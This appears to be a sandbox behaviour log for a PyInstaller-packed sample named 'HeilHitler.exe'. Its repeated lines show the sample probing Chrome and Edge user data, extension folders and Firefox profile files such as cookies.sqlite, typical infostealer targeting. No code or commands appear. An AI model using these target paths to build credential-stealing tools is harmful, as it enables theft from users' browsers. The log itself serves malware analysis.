Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
